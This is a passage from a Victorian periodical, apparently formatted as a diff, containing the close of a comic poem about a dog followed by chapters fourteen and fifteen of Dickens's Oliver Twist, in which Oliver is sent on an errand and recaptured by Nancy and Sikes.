+    Entirely round, as he would face the cart,
+              Which could he by no art,
+    Because of cunning mechanism. Lord!
+    But how a proper notion to afford?
+              How possibly record,
+    With any sort of mental satisfaction,
+    The look of anguish--the immense distraction--
+              Pictured in face and action,
+    When, whisking round, he hath discovered there
+    Five dogs,--all jolly dogs--besides a pair
+              Of cats, most debonair,
+    In high assembly met, sublimely lunching,
+    Best horse's flesh in breathless silence munching,
+              While he, poor beast! is crunching
+    His unavailing teeth?--You must be sensible
+    'Tis aggravating--cruel--indefensible--
+              Incomprehensible.
+    And to his grave I do believe he'll go,
+    Sad dog's-meat dog, nor ever know
+              Whence all those riches flow
+    Which seem to spring about him where he is,
+    Finding their way to every mouth but his.--
+              I know such similes
+    By some are censured as not being savoury;
+    But still it's better than to talk of "knavery,"
+              And "wretched authors' slavery,"
+    With other words of ominous import.
+    I much prefer a figure of this sort.
+              And so, to cut it short,
+    (For I abhor all poor rhetoric fuss,)
+    Ask what the devil I mean--I answer thus,
+              THAT DOG'S A GENIUS.
+
+[Illustration: Oliver claimed by his Affectionate Friends]
+
+FOOTNOTE:
+
+[Footnote 10: For the former specimen, as well as some critical
+account of the comic sonnets of the Italians, see the April number of
+_Bentley's Miscellany_.]
+
+
+
+
+OLIVER TWIST;
+
+OR, THE PARISH BOY'S PROGRESS.
+
+BY BOZ.
+
+ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+CHAPTER THE FOURTEENTH.
+
+     COMPRISING FURTHER PARTICULARS OF OLIVER'S STAY AT MR. BROWNLOW'S,
+     WITH THE REMARKABLE PREDICTION WHICH ONE MR. GRIMWIG UTTERED
+     CONCERNING HIM, WHEN HE WENT OUT ON AN ERRAND.
+
+Oliver soon recovered from the fainting-fit into which Mr. Brownlow's
+abrupt exclamation had thrown him; and the subject of the picture was
+carefully avoided, both by the old gentleman and Mrs. Bedwin, in the
+conversation that ensued, which indeed bore no reference to Oliver's
+history or prospects, but was confined to such topics as might amuse
+without exciting him. He was still too weak to get up to breakfast;
+but, when he came down into the housekeeper's room next day, his first
+act was to cast an eager glance at the wall, in the hope of again
+looking on the face of the beautiful lady. His expectations were
+disappointed, however, for the picture had been removed.
+
+"Ah!" said the housekeeper, watching the direction of Oliver's eyes.
+"It is gone, you see."
+
+"I see it is, ma'am," replied Oliver, with a sigh. "Why have they taken
+it away?"
+
+"It has been taken down, child, because Mr. Brownlow said, that, as it
+seemed to worry you, perhaps it might prevent your getting well, you
+know," rejoined the old lady.
+
+"On, no, indeed it didn't worry me, ma'am," said Oliver. "I liked to
+see it; I quite loved it."
+
+"Well, well!" said the old lady, good-humouredly; "you get well as fast
+as ever you can, dear, and it shall be hung up again. There, I promise
+you that; now let us talk about something else."
+
+This was all the information Oliver could obtain about the picture at
+that time, and as the old lady had been so kind to him in his illness,
+he endeavoured to think no more of the subject just then; so listened
+attentively to a great many stories she told him about an amiable and
+handsome daughter of hers, who was married to an amiable and handsome
+man, and lived in the country; and a son, who was clerk to a merchant
+in the West Indies, and who was also such a good young man, and wrote
+such dutiful letters home four times a year, that it brought the tears
+into her eyes to talk about them. When the old lady had expatiated a
+long time on the excellences of her children, and the merits of her
+kind good husband besides, who had been dead and gone, poor dear soul!
+just six-and-twenty years, it was time to have tea; and after tea she
+began to teach Oliver cribbage, which he learnt as quickly as she could
+teach, and at which game they played, with great interest and gravity,
+until it was time for the invalid to have some warm wine and water,
+with a slice of dry toast, and to go cosily to bed.
+
+They were happy days those of Oliver's recovery. Everything was so
+quiet, and neat, and orderly, everybody so kind and gentle, that after
+the noise and turbulence in the midst of which he had always lived, it
+seemed like heaven itself. He was no sooner strong enough to put his
+clothes on properly, than Mr. Brownlow caused a complete new suit, and
+a new cap, and a new pair of shoes, to be provided for him. As Oliver
+was told that he might do what he liked with the old clothes, he gave
+them to a servant who had been very kind to him, and asked her to sell
+them to a Jew, and keep the money for herself. This she very readily
+did; and, as Oliver looked out of the parlour window, and saw the Jew
+roll them up in his bag and walk away, he felt quite delighted to think
+that they were safely gone, and that there was now no possible danger
+of his ever being able to wear them again. They were sad rags, to tell
+the truth; and Oliver had never had a new suit before.
+
+One evening, about a week after the affair of the picture, as Oliver
+was sitting talking to Mrs. Bedwin, there came a message down from Mr.
+Brownlow, that if Oliver Twist felt pretty well, he should like to see
+him in his study, and talk to him a little while.
+
+"Bless us, and save us! wash your hands, and let me part your hair
+nicely for you, child," said Mrs. Bedwin. "Dear heart alive! if we had
+known he would have asked for you, we would have put you a clean collar
+on, and made you as smart as sixpence."
+
+Oliver did as the old lady bade him, and, although she lamented
+grievously meanwhile that there was not even time to crimp the little
+frill that bordered his shirt-collar, he looked so delicate and
+handsome, despite that important personal advantage, that she went so
+far as to say, looking at him with great complacency from head to foot,
+that she really didn't think it would have been possible on the longest
+notice to have made much difference in him for the better.
+
+Thus encouraged, Oliver tapped at the study door, and, on Mr. Brownlow
+calling to him to come in, found himself in a little back room, quite
+full of books, with a window looking into some pleasant little gardens.
+There was a table drawn up before the window, at which Mr. Brownlow
+was seated reading. When he saw Oliver, he pushed the book away from
+him, and told him to come near the table and sit down. Oliver complied,
+marvelling where the people could be found to read such a great number
+of books as seemed to be written to make the world wiser,--which is
+still a marvel to more experienced people than Oliver Twist every day
+of their lives.
+
+"There are a good many books, are there not, my boy?" said Mr.
+Brownlow, observing the curiosity with which Oliver surveyed the
+shelves that reached from the floor to the ceiling.
+
+"A great number, sir," replied Oliver; "I never saw so many."
+
+"You shall read them if you behave well," said the old gentleman
+kindly; "and you will like that, better than looking at the
+outsides,--that is, in some cases, because there _are_ books of which
+the backs and covers are by far the best parts."
+
+"I suppose they are those heavy ones, sir," said Oliver, pointing to
+some large quartos with a good deal of gilding about the binding.
+
+"Not those," said the old gentleman, patting Oliver on the head, and
+smiling as he did so; "but other equally heavy ones, though of a much
+smaller size. How should you like to grow up a clever man, and write
+books, eh?"
+
+"I think I would rather read them, sir," replied Oliver.
+
+"What! wouldn't you like to be a book-writer?" said the old gentleman.
+
+Oliver considered a little while, and at last said he should think it
+would be a much better thing to be a bookseller; upon which the old
+gentleman laughed heartily, and declared he had said a very good thing,
+which Oliver felt glad to have done, though he by no means knew what it
+was.
+
+"Well, well," said the old gentleman, composing his features, "don't be
+afraid; we won't make an author of you, while there's an honest trade
+to be learnt, or brick-making to turn to."
+
+"Thank you, sir," said Oliver; and at the earnest manner of his reply
+the old gentleman laughed again, and said something about a curious
+instinct, which Oliver, not understanding, paid no very great attention
+to.
+
+"Now," said Mr. Brownlow, speaking if possible in a kinder, but at the
+same time in a much more serious manner than Oliver had ever heard him
+speak in yet, "I want you to pay great attention, my boy, to what I am
+going to say. I shall talk to you without any reserve, because I am
+sure you are as well able to understand me as many older persons would
+be."
+
+"Oh, don't tell me you are going to send me away, sir, pray!"
+exclaimed Oliver, alarmed by the serious tone of the old gentleman's
+commencement; "don't turn me out of doors to wander in the streets
+again. Let me stay here and be a servant. Don't send me back to the
+wretched place I came from. Have mercy upon a poor boy, sir; do!"
+
+"My dear child," said the old gentleman, moved by the warmth of
+Oliver's sudden appeal, "you need not be afraid of my deserting you,
+unless you give me cause."
+
+"I never, never will, sir," interposed Oliver.
+
+"I hope not," rejoined the old gentleman; "I do not think you ever
+will. I have been deceived before, in the objects whom I have
+endeavoured to benefit; but I feel strongly disposed to trust you,
+nevertheless, and more strongly interested in your behalf than I can
+well account for, even to myself. The persons on whom I have bestowed
+my dearest love lie deep in their graves; but, although the happiness
+and delight of my life lie buried there too, I have not made a coffin
+of my heart, and sealed it up for ever on my best affections. Deep
+affliction has only made them stronger; it ought, I think, for it
+should refine our nature."
+
+As the old gentleman said this in a low voice, more to himself than to
+his companion, and remained silent for a short time afterwards, Oliver
+sat quite still, almost afraid to breathe.
+
+"Well, well," said the old gentleman at length in a more cheerful
+voice, "I only say this, because you have a young heart; and knowing
+that I have suffered great pain and sorrow, you will be more careful,
+perhaps, not to wound me again. You say you are an orphan, without a
+friend in the world; and all the inquiries I have been able to make
+confirm the statement. Let me hear your story; where you came from, who
+brought you up, and how you got into the company in which I found you.
+Speak the truth; and if I find you have committed no crime, you will
+never be friendless while I live."
+
+Oliver's sobs quite checked his utterance for some minutes; and just
+when he was on the point of beginning to relate how he had been
+brought up at the farm, and carried to the workhouse by Mr. Bumble, a
+peculiarly impatient little double-knock was heard at the street-door,
+and the servant, running up stairs, announced Mr. Grimwig.
+
+"Is he coming up?" inquired Mr. Brownlow.
+
+"Yes, sir," replied the servant. "He asked if there were any muffins in
+the house, and, when I told him yes, he said he had come to tea."
+
+Mr. Brownlow smiled, and, turning to Oliver, said Mr. Grimwig was an
+old friend of his, and he must not mind his being a little rough in his
+manners, for he was a worthy creature at bottom, as he had reason to
+know.
+
+"Shall I go down stairs, sir?" inquired Oliver.
+
+"No," replied Mr. Brownlow; "I would rather you stopped here."
+
+At this moment there walked into the room, supporting himself by
+a thick stick, a stout old gentleman, rather lame in one leg, who
+was dressed in a blue coat, striped waistcoat, nankeen breeches and
+gaiters, and a broad-brimmed white hat, with the sides turned up with
+green. A very small-plaited shirt-frill stuck out from his waistcoat,
+and a very long steel watch-chain, with nothing but a key at the end,
+dangled loosely below it. The ends of his white neckerchief were
+twisted into a ball about the size of an orange;--the variety of
+shapes into which his countenance was twisted defy description. He
+had a manner of screwing his head round on one side when he spoke,
+and looking out of the corners of his eyes at the same time, which
+irresistibly reminded the beholder of a parrot. In this attitude he
+fixed himself the moment he made his appearance; and, holding out a
+small piece of orange-peel at arm's length, exclaimed in a growling,
+discontented voice,
+
+"Look here! do you see this? Isn't it a most wonderful and
+extraordinary thing that I can't call at a man's house but I find a
+piece of this cursed poor-surgeon's-friend on the staircase? I've been
+lamed with orange-peel once, and I know orange-peel will be my death at
+last. It will, sir; orange-peel will be my death, or I'll be content
+to eat my own head, sir!" This was the handsome offer with which Mr.
+Grimwig backed and confirmed nearly every assertion he made; and it
+was the more singular in his case, because, even admitting, for the
+sake of argument, the possibility of scientific improvements being ever
+brought to that pass which will enable a gentleman to eat his own head
+in the event of his being so disposed, Mr. Grimwig's head was such a
+particularly large one, that the most sanguine man alive could hardly
+entertain a hope of being able to get through it at a sitting, to put
+entirely out of the question a very thick coating of powder.
+
+"I'll eat my head, sir," repeated Mr. Grimwig, striking his stick upon
+the ground. "Hallo! what's that?" he added, looking at Oliver, and
+retreating a pace or two.
+
+"This is young Oliver Twist, whom we were speaking about," said Mr.
+Brownlow.
+
+Oliver bowed.
+
+"You don't mean to say that's the boy that had the fever, I hope?" said
+Mr. Grimwig, recoiling a little further. "Wait a minute, don't speak:
+stop--" continued Mr. Grimwig abruptly, losing all dread of the fever
+in his triumph at the discovery; "that's the boy that had the orange!
+If that's not the boy, sir, that had the orange, and threw this bit of
+peel upon the staircase, I'll eat my head and his too."
+
+"No, no, he has not had one," said Mr. Brownlow, laughing. "Come, put
+down your hat, and speak to my young friend."
+
+"I feel strongly on this subject, sir," said the irritable old
+gentleman, drawing off his gloves. "There's always more or less
+orange-peel on the pavement in our street, and I _know_ it's put there
+by the surgeon's boy at the corner. A young woman stumbled over a bit
+last night, and fell against my garden-railings; directly she got up I
+saw her look towards his infernal red lamp with the pantomime-light.
+'Don't go to him,' I called out of the window, 'he's an assassin,--a
+man-trap!' So he is. If he is not----" Here the irascible old gentleman
+gave a great knock on the ground with his stick, which was always
+understood by his friends to imply the customary offer whenever it was
+not expressed in words. Then, still keeping his stick in his hand, he
+sat down, and, opening a double eye-glass which he wore attached to a
+broad black riband, took a view of Oliver, who, seeing that he was the
+object of inspection, coloured, and bowed again.
+
+"That's the boy, is it?" said Mr. Grimwig, at length.
+
+"That is the boy," replied Mr. Brownlow, nodding good-humouredly to
+Oliver.
+
+"How are you, boy?" said Mr. Grimwig.
+
+"A great deal better, thank you, sir," replied Oliver.
+
+Mr. Brownlow, seeming to apprehend that his singular friend was about
+to say something disagreeable, asked Oliver to step down stairs, and
+tell Mrs. Bedwin they were ready for tea, which, as he did not half
+like the visitor's manner, he was very happy to do.
+
+"He is a nice-looking boy, is he not?" inquired Mr. Brownlow.
+
+"I don't know," replied Grimwig, pettishly.
+
+"Don't know?"
+
+"No, I don't know. I never see any difference in boys. I only know two
+sorts of boys,--mealy boys, and beef-faced boys."
+
+"And which is Oliver?"
+
+"Mealy. I know a friend who's got a beef-faced boy; a fine boy they
+call him, with a round head, and red cheeks, and glaring eyes; a horrid
+boy, with a body and limbs that appear to be swelling out of the seams
+of his blue clothes--with the voice of a pilot, and the appetite of a
+wolf. I know him, the wretch!"
+
+"Come," said Mr. Brownlow, "these are not the characteristics of young
+Oliver Twist; so he needn't excite your wrath."
+
+"They are not," replied Grimwig. "He may have worse."
+
+Here Mr. Brownlow coughed impatiently, which appeared to afford Mr.
+Grimwig the most exquisite delight.
+
+"He may have worse, I say," repeated Mr. Grimwig. "Where does he come
+from? Who is he? What is he? He has had a fever--what of that? Fevers
+are not peculiar to good people, are they? Bad people have fevers
+sometimes, haven't they, eh? I knew a man that was hung in Jamaica
+for murdering his master; he had had a fever six times; he wasn't
+recommended to mercy on that account. Pooh! nonsense!"
+
+Now, the fact was, that, in the inmost recesses of his own heart, Mr.
+Grimwig was strongly disposed to admit that Oliver's appearance and
+manner were unusually prepossessing, but he had a strong appetite
+for contradiction, sharpened on this occasion by the finding of the
+orange-peel; and inwardly determining that no man should dictate to him
+whether a boy was well-looking or not, he had resolved from the first
+to oppose his friend. When Mr. Brownlow admitted that on no one point
+of inquiry could he yet return any satisfactory answer, and that he
+had postponed any investigation into Oliver's previous history until
+he thought the boy was strong enough to bear it, Mr. Grimwig chuckled
+maliciously, and demanded, with a sneer, whether the housekeeper was in
+the habit of counting the plate at night; because, if she didn't find
+a table-spoon or two missing some sunshiny morning, why, he would be
+content to----, et cetera.
+
+All this Mr. Brownlow, although himself somewhat of an impetuous
+gentleman, knowing his friend's peculiarities, bore with great good
+humour; and as Mr. Grimwig, at tea, was graciously pleased to express
+his entire approval of the muffins, matters went on very smoothly, and
+Oliver, who made one of the party, began to feel more at his ease than
+he had yet done in the fierce old gentleman's presence.
+
+"And when are you going to hear a full, true, and particular account
+of the life and adventures of Oliver Twist?" asked Grimwig of Mr.
+Brownlow, at the conclusion of the meal: looking sideways at Oliver as
+he resumed the subject.
+
+"To-morrow morning," replied Mr. Brownlow. "I would rather he was alone
+with me at the time. Come up to me to-morrow morning at ten o'clock, my
+dear."
+
+"Yes, sir," replied Oliver. He answered with some hesitation, because
+he was confused by Mr. Grimwig's looking so hard at him.
+
+"I'll tell you what," whispered that gentleman to Mr. Brownlow; "he
+won't come up to you to-morrow morning. I saw him hesitate. He is
+deceiving you, my dear friend."
+
+"I'll swear he is not," replied Mr. Brownlow, warmly.
+
+"If he is not," said Mr. Grimwig, "I'll----" and down went the stick.
+
+"I'll answer for that boy's truth with my life," said Mr. Brownlow,
+knocking the table.
+
+"And I for his falsehood with my head," rejoined Mr. Grimwig, knocking
+the table also.
+
+"We shall see," said Mr. Brownlow, checking his rising passion.
+
+"We will," replied Mr. Grimwig, with a provoking smile; "we will."
+
+As fate would have it, Mrs. Bedwin chanced to bring in at this moment a
+small parcel of books which Mr. Brownlow had that morning purchased of
+the identical bookstall-keeper who has already figured in this history;
+which having laid on the table, she prepared to leave the room.
+
+"Stop the boy, Mrs. Bedwin," said Mr. Brownlow; "there is something to
+go back."
+
+"He has gone, sir," replied Mrs. Bedwin.
+
+"Call after him," said Mr. Brownlow; "it's particular. He's a poor man,
+and they are not paid for. There are some books to be taken back, too."
+
+The street-door was opened. Oliver ran one way, and the girl another,
+and Mrs. Bedwin stood on the step and screamed for the boy; but there
+was no boy in sight, and both Oliver and the girl returned in a
+breathless state to report that there were no tidings of him.
+
+"Dear me, I am very sorry for that," exclaimed Mr. Brownlow; "I
+particularly wished those books to be returned to-night."
+
+"Send Oliver with them," said Mr. Grimwig, with an ironical smile; "he
+will be sure to deliver them safely, you know."
+
+"Yes; do let me take them, if you please, sir," said Oliver; "I'll run
+all the way, sir."
+
+The old gentleman was just going to say that Oliver should not go out
+on any account, when a most malicious cough from Mr. Grimwig determined
+him that he should, and by his prompt discharge of the commission prove
+to him the injustice of his suspicions, on this head at least, at once.
+
+"You _shall_ go, my dear," said the old gentleman. "The books are on a
+chair by my table. Fetch them down."
+
+Oliver, delighted to be of use, brought down the books under his arm in
+a great bustle, and waited, cap in hand, to hear what message he was to
+take.
+
+"You are to say," said Mr. Brownlow, glancing steadily at
+Grimwig,--"you are to say that you have brought those books back,
+and that you have come to pay the four pound ten I owe him. This is
+a five-pound note, so you will have to bring me back ten shillings
+change."
+
+"I won't be ten minutes, sir," replied Oliver, eagerly; and, having
+buttoned up the bank-note in his jacket pocket, and placed the books
+carefully under his arm, he made a respectful bow, and left the room.
+Mrs. Bedwin followed him to the street-door, giving him many directions
+about the nearest way, and the name of the bookseller, and the name of
+the street, all of which Oliver said he clearly understood; and, having
+super-added many injunctions to be sure and not take cold, the careful
+old lady at length permitted him to depart.
+
+"Bless his sweet face!" said the old lady, looking after him. "I can't
+bear, somehow, to let him go out of my sight."
+
+At this moment Oliver looked gaily round, and nodded before he turned
+the corner. The old lady smilingly returned his salutation, and,
+closing the door, went back to her own room.
+
+"Let me see; he'll be back in twenty minutes, at the longest," said Mr.
+Brownlow, pulling out his watch, and placing it on the table. "It will
+be dark by that time."
+
+"Oh! you really expect him to come back, do you?" inquired Mr. Grimwig.
+
+"Don't you?" asked Mr. Brownlow, smiling.
+
+The spirit of contradiction was strong in Mr. Grimwig's breast at the
+moment, and it was rendered stronger by his friend's confident smile.
+
+"No," he said, smiting the table with his fist, "I do not. The boy
+has got a new suit of clothes on his back, a set of valuable books
+under his arm, and a five-pound note in his pocket; he'll join his old
+friends the thieves, and laugh at you. If ever that boy returns to this
+house, sir, I'll eat my head."
+
+With these words he drew his chair closer to the table, and there the
+two friends sat in silent expectation, with the watch between them. It
+is worthy of remark, as illustrating the importance we attach to our
+own judgments, and the pride with which we put forth our most rash and
+hasty conclusions, that, although Mr. Grimwig was not a bad-hearted
+man, and would have been unfeignedly sorry to see his respected
+friend duped and deceived, he really did most earnestly and strongly
+hope at that moment that Oliver Twist might not come back. Of such
+contradictions is human nature made up!
+
+It grew so dark that the figures on the dial were scarcely discernible;
+but there the two old gentlemen continued to sit in silence, with the
+watch between them.
+
+
+CHAPTER THE FIFTEENTH.
+
+SHEWING HOW VERY FOND OF OLIVER TWIST, THE MERRY OLD JEW AND MISS NANCY
+WERE.
+
+If it did not come strictly within the scope and bearing of my
+long-considered intentions and plans regarding this prose epic (for
+such I mean it to be,) to leave the two old gentlemen sitting with
+the watch between them long after it grew too dark to see it, and
+both doubting Oliver's return, the one in triumph, and the other in
+sorrow, I might take occasion to entertain the reader with many wise
+reflections on the obvious impolicy of ever attempting to do good to
+our fellow-creatures where there is no hope of earthly reward; or
+rather on the strict policy of betraying some slight degree of charity
+or sympathy in one particularly unpromising case, and then abandoning
+such weaknesses for ever. I am aware that, in advising even this slight
+dereliction from the paths of prudence and worldliness, I lay myself
+open to the censure of many excellent and respectable persons, who
+have long walked therein; but I venture to contend, nevertheless, that
+the advantages of the proceeding are manifold and lasting. As thus: if
+the object selected should happen most unexpectedly to turn out well,
+and to thrive and amend upon the assistance you have afforded him, he
+will, in pure gratitude and fulness of heart, laud your goodness to
+the skies; your character will be thus established, and you will pass
+through the world as a most estimable person, who does a vast deal
+of good in secret, not one-twentieth part of which will ever see the
+light. If, on the contrary, his bad character become notorious, and
+his profligacy a by-word, you place yourself in the excellent position
+of having attempted to bestow relief most disinterestedly; of having
+become misanthropical in consequence of the treachery of its object;
+and of having made a rash and solemn vow, (which no one regrets more
+than yourself,) never to help or relieve any man, woman, or child
+again, lest you should be similarly deceived. I know a great number of
+persons in both situations at this moment, and I can safely assert that
+they are the most generally respected and esteemed of any in the whole
+circle of my acquaintance.
+
+But, as Mr. Brownlow was not one of these; as he obstinately persevered
+in doing good for its own sake, and the gratification of heart it
+yielded him; as no failure dispirited him, and no ingratitude in
+individual cases tempted him to wreak his vengeance on the whole human
+race, I shall not enter into any such digression in this place: and,
+if this be not a sufficient reason for this determination, I have a
+better, and, indeed, a wholly unanswerable one, already stated; which
+is, that it forms no part of my original intention so to do.
+
+In the obscure parlour of a low public-house, situate in the filthiest
+part of Little Saffron-Hill,--a dark and gloomy den, where a flaring
+gas-light burnt all day in the winter-time, and where no ray of sun
+ever shone in the summer,--there sat, brooding over a little pewter
+measure and a small glass, strongly impregnated with the smell of
+liquor, a man in a velveteen coat, drab shorts, half-boots, and
+stockings, whom, even by that dim light, no experienced agent of police
+would have hesitated for one instant to recognise as Mr. William Sikes.
+At his feet sat a white-coated, red-eyed dog, who occupied himself
+alternately in winking at his master with both eyes at the same time,
+and in licking a large, fresh cut on one side of his mouth, which
+appeared to be the result of some recent conflict.
+
+"Keep quiet, you warmint! keep quiet!" said Mr. Sikes, suddenly
+breaking silence. Whether his meditations were so intense as to be
+disturbed by the dog's winking, or whether his feelings were so wrought
+upon by his reflections that they required all the relief derivable
+from kicking an unoffending animal to allay them, is matter for
+argument and consideration. Whatever was the cause, the effect was a
+kick and a curse bestowed upon the dog simultaneously.
+
+Dogs are not generally apt to revenge injuries inflicted upon them by
+their masters; but Mr. Sikes's dog, having faults of temper in common
+with his owner, and labouring perhaps, at this moment, under a powerful
+sense of injury, made no more ado but at once fixed his teeth in one
+of the half-boots, and, having given it a good hearty shake, retired,
+growling, under a form: thereby just escaping the pewter measure which
+Mr. Sikes levelled at his head.
+
+"You would, would you?" said Sikes, seizing the poker in one hand, and
+deliberately opening with the other a large clasp-knife, which he drew
+from his pocket. "Come here, you born devil! Come here! D'ye hear?"
+
+The dog no doubt heard, because Mr. Sikes spoke in the very harshest
+key of a very harsh voice; but, appearing to entertain some
+unaccountable objection to having his throat cut, he remained where he
+was, and growled more fiercely than before, at the same time grasping
+the end of the poker between his teeth, and biting at it like a wild
+beast.
+
+This resistance only infuriated Mr. Sikes the more; so, dropping upon
+his knees, he began to assail the animal most furiously. The dog jumped
+from right to left, and from left to right, snapping, growling, and
+barking; the man thrust and swore, and struck and blasphemed; and the
+struggle was reaching a most critical point for one or other, when, the
+door suddenly opening, the dog darted out, leaving Bill Sikes with the
+poker and the clasp-knife in his hands.
+
+There must always be two parties to a quarrel, says the old adage;
+and Mr. Sikes, being disappointed of the dog's presence, at once
+transferred the quarrel to the new-comer.
+
+"What the devil do you come in between me and my dog for?" said Sikes
+with a fierce gesture.
+
+"I didn't know, my dear, I didn't know," replied Fagin humbly--for the
+Jew was the new-comer.
+
+"Didn't know, you white-livered thief!" growled Sikes. "Couldn't you
+hear the noise?"
+
+"Not a sound of it, as I'm a living man, Bill," replied the Jew.
+
+"Oh no, you hear nothing, you don't," retorted Sikes with a fierce
+sneer, "sneaking in and out, so as nobody hears how you come or go. I
+wish you had been the dog, Fagin, half a minute ago."
+
+"Why?" inquired the Jew with a forced smile.
+
+"'Cause the government, as cares for the lives of such men as you, as
+haven't half the pluck of curs, lets a man kill his dog how he likes,"
+replied Sikes, shutting the knife up with a very expressive look;
+"that's why."
+
+The Jew rubbed his hands, and, sitting down at the table, affected to
+laugh at the pleasantry of his friend,--obviously very ill at his ease,
+however.
+
+"Grin away," said Sikes, replacing the poker, and surveying him with
+savage contempt; "grin away. You'll never have the laugh at me, though,
+unless it's behind a nightcap. I've got the upper hand over you, Fagin;
+and, d--me, I'll keep it. There. If I go, you go; so take care of me."
+
+"Well, well, my dear," said the Jew, "I know all that; we--we--have a
+mutual interest, Bill,--a mutual interest."
+
+"Humph!" said Sikes, as if he thought the interest lay rather more on
+the Jew's side than on his. "Well, what have you got to say to me?"
+
+"It's all passed safe through the melting-pot," replied Fagin, "and
+this is your share. It's rather more than it ought to be, my dear; but
+as I know you'll do me a good turn another time, and----"
+
+"'Stow that gammon," interposed the robber impatiently. "Where is it?
+Hand over!"
+
+"Yes, yes, Bill; give me time, give me time," replied the Jew
+soothingly. "Here it is--all safe." As he spoke, he drew forth an old
+cotton handkerchief from his breast, and, untying a large knot in one
+corner, produced a small brown-paper packet, which Sikes snatching from
+him, hastily opened, and proceeded to count the sovereigns it contained.
+
+"This is all, is it?" inquired Sikes.
+
+"All," replied the Jew.
+
+"You haven't opened the parcel and swallowed one or two as you come
+along, have you?" inquired Sikes suspiciously. "Don't put on a injured
+look at the question; you've done it many a time. Jerk the tinkler."
+
+These words, in plain English, conveyed an injunction to ring the bell.
+It was answered by another Jew, younger than Fagin, but nearly as vile
+and repulsive in appearance.
+
+Bill Sikes merely pointed to the empty measure, and the Jew, perfectly
+understanding the hint, retired to fill it, previously exchanging a
+remarkable look with Fagin, who raised his eyes for an instant as if
+in expectation of it, and shook his head in reply so slightly that
+the action would have been almost imperceptible to a third person.
+It was lost upon Sikes, who was stooping at the moment to tie the
+boot-lace which the dog had torn. Possibly if he had observed the brief
+interchange of signals, he might have thought that it boded no good to
+him.
+
+"Is anybody here, Barney?" inquired Fagin, speaking--now that Sikes was
+looking on--without raising his eyes from the ground.
+
+"Dot a shoul," replied Barney, whose words, whether they came from the
+heart or not, made their way through the nose.
+
+"Nobody?" inquired Fagin in a tone of surprise, which perhaps might
+mean that Barney was at liberty to tell the truth.
+
+"Dobody but Biss Dadsy," replied Barney.
+
+"Miss Nancy!" exclaimed Sikes. "Where? Strike me blind, if I don't
+honor that 'ere girl for her native talents."
+
+"She's bid havid a plate of boiled beef id the bar," replied Barney.
+
+"Send her here," said Sikes, pouring out a glass of liquor; "send her
+here."
+
+Barney looked timidly at Fagin, as if for permission; the Jew remaining
+silent, and not lifting his eyes from the ground, he retired, and
+presently returned ushering in Miss Nancy, who was decorated with the
+bonnet, apron, basket, and street-door key complete.
+
+"You are on the scent, are you, Nancy?" inquired Sikes, proffering the
+glass.
+
+"Yes, I am, Bill," replied the young lady, disposing of its contents;
+"and tired enough of it I am, too. The young brat's been ill and
+confined to the crib; and----"
+
+"Ah, Nancy, dear!" said Fagin, looking up.
+
+Now, whether a peculiar contraction of the Jew's red eyebrows, and a
+half-closing of his deeply-set eyes, warned Miss Nancy that she was
+disposed to be too communicative, is not a matter of much importance.
+The fact is all we need care for here; and the fact is, that she
+suddenly checked herself, and, with several gracious smiles upon Mr.
+Sikes, turned the conversation to other matters. In about ten minutes'
+time, Mr. Fagin was seized with a fit of coughing, upon which Miss
+Nancy pulled her shawl over her shoulders, and declared it was time
+to go. Mr. Sikes, finding that he was walking a short part of her way
+himself, expressed his intention of accompanying her: and they went
+away together, followed at a little distance by the dog, who slunk out
+of a back-yard as soon as his master was out of sight.
+
+The Jew thrust his head out of the room door when Sikes had left it,
+looked after him as he walked up the dark passage, shook his clenched
+fist, muttered a deep curse, and then with a horrible grin reseated
+himself at the table, where he was soon deeply absorbed in the
+interesting pages of the Hue and Cry.
+
+Meanwhile Oliver Twist, little dreaming that he was within so very
+short a distance of the merry old gentleman, was on his way to the
+bookstall. When he got into Clerkenwell he accidentally turned down a
+by-street which was not exactly in his way; but not discovering his
+mistake till he had got halfway down it, and knowing it must lead in
+the right direction, he did not think it worth while to turn back, and
+so marched on as quickly as he could, with the books under his arm.
+
+He was walking along, thinking how happy and contented he ought to
+feel, and how much he would give for only one look at poor little Dick,
+who, starved and beaten, might be lying dead at that very moment, when
+he was startled by a young woman screaming out very loud, "Oh, my dear
+brother!" and he had hardly looked up to see what the matter was, when
+he was stopped by having a pair of arms thrown tight round his neck.
+
+"Don't!" cried Oliver struggling. "Let go of me. Who is it? What are
+you stopping me for?"
+
+The only reply to this, was a great number of loud lamentations from
+the young woman who had embraced him, and who had got a little basket
+and a street-door key in her hand.
+
+"Oh my gracious!" said the young woman, "I've found him! Oh, Oliver!
+Oliver! Oh, you naughty boy, to make me suffer such distress on your
+account! Come home, dear, come. Oh, I've found him. Thank gracious
+goodness heavins, I've found him!" With these incoherent exclamations
+the young woman burst into another fit of crying, and got so dreadfully
+hysterical, that a couple of women who came up at the moment asked a
+butcher's boy, with a shiny head of hair anointed with suet, who was
+also looking on, whether he didn't think he had better run for the
+doctor. To which the butcher's boy, who appeared of a lounging, not to
+say indolent disposition, replied that he thought not.
+
+"Oh, no, no, never mind," said the young woman, grasping Oliver's hand;
+"I'm better now. Come home directly, you cruel boy, come."
+
+"What's the matter, ma'am?" inquired one of the women.
+
+"Oh, ma'am," replied the young woman, "he ran away near a month ago
+from his parents, who are hard-working and respectable people, and
+joined a set of thieves and bad characters, and almost broke his
+mother's heart."
+
+"Young wretch!" said one woman.
+
+"Go home, do, you little brute," said the other.
+
+"I'm not," replied Oliver, greatly alarmed. "I don't know her. I
+haven't got any sister, or father and mother either. I'm an orphan; I
+live at Pentonville."
+
+"Oh, only hear him, how he braves it out!" cried the young woman.
+
+"Why, it's Nancy!" exclaimed Oliver, who now saw her face for the first
+time, and started back in irrepressible astonishment.
+
+"You see he knows me," cried Nancy, appealing to the bystanders. "He
+can't help himself. Make him come home, there's good people, or he'll
+kill his dear mother and father, and break my heart!"
+
+"What the devil's this?" said a man, bursting out of a beer-shop, with
+a white dog at his heels; "young Oliver! Come home to your poor mother,
+you young dog! come home directly."
+
+"I don't belong to them. I don't know them. Help! help!" cried Oliver,
+struggling in the man's powerful grasp.
+
+"Help!" repeated the man. "Yes; I'll help you, you young rascal! What
+books are these? You've been a stealing 'em, have you? Give 'em here!"
+With these words the man tore the volumes from his grasp, and struck
+him violently on the head.
+
+"That's right!" cried a looker-on, from a garret window. "That's the
+only way of bringing him to his senses!"
+
+"To be sure," cried a sleepy-faced carpenter, casting an approving look
+at the garret-window.
+
+"It'll do him good!" said the two women.
+
+"And he shall have it, too!" rejoined the man, administering another
+blow, and seizing Oliver by the collar. "Come on, you young villain!
+Here, Bull's-eye, mind him, boy! mind him!"
+
